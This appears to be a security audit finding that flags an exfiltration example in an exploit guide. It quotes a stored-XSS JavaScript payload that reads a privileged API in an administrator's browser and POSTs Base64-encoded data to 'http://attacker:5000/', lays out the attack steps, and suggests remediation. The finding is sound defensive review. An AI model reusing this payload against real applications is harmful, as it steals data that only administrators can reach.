other
Error
- Location
- advanced-exploits-2.md:479
- Finding
- Privileged Browser Data Exfiltration to an Attacker-Controlled Server<![CDATA[ ## Vulnerability Details **File Location**: `advanced-exploits-2.md`, lines 479-487 **Vulnerability Type**: Explicit network exfiltration through stored XSS **Risk Level**: High ### Code Snippet ```javascript // Stage 1: trigger heap commands, exfiltrate leak var res = await fetch("/api/canvas/get/1"); var data = await res.json(); await fetch('http://attacker:5000/', { method: 'POST', mode: 'no-cors', body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))}) }); ``` ### Technical Analysis The documented payload executes in an administrator's browser, reads data from a same-origin privileged API, Base64-encodes the response, and transmits it to an attacker-controlled HTTP endpoint. Base64 is not itself encryption, but here it is used to package data for exfiltration. The administrator browser acts as a confused deputy: it can access localhost-restricted or authenticated resources that are unavailable to the external attacker. The `no-cors` setting does not prevent transmission; it merely prevents the script from reading the cross-origin response. This behavior exceeds the minimum privilege needed to explain a memory-corruption technique because it explicitly exports privileged data to external infrastructure. ### Attack Path 1. Submit a stored XSS payload through the public application interface. 2. Wait for an administrator or administrative bot to visit the affected page. 3. Execute JavaScript under the application's authenticated origin. 4. Request `/api/canvas/get/1` using the administrator's browser context. 5. Serialize and Base64-encode the returned data. 6. send the encoded data to `http://attacker:5000/`. 7. Use the disclosed heap or memory information to calculate addresses for subsequent exploitation. ### Impact Assessment An attacker can disclose data available only to an authenticated administrator or localhost client. In the documented chain, the disclosed information includes memory-related data used to defeat ...[truncated 250 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Remove the external exfiltration example and replace it with a local mock receiver that records only synthetic test data. - Do not use attacker-controlled Internet endpoints in Skill examples. - Require explicit authorization and a documented target scope before issuing network requests. - Restrict demonstrations to disposable CTF or laboratory environments. - Use placeholder values that cannot resolve externally, such as an isolated test-domain endpoint. - Add a clear prohibition against collecting credentials, tokens, personal data, or unrelated host information. - For the underlying application, remove unsafe template rendering, enforce contextual output encoding, deploy a restrictive Content Security Policy, and validate all data forwarded to native processes. ]]>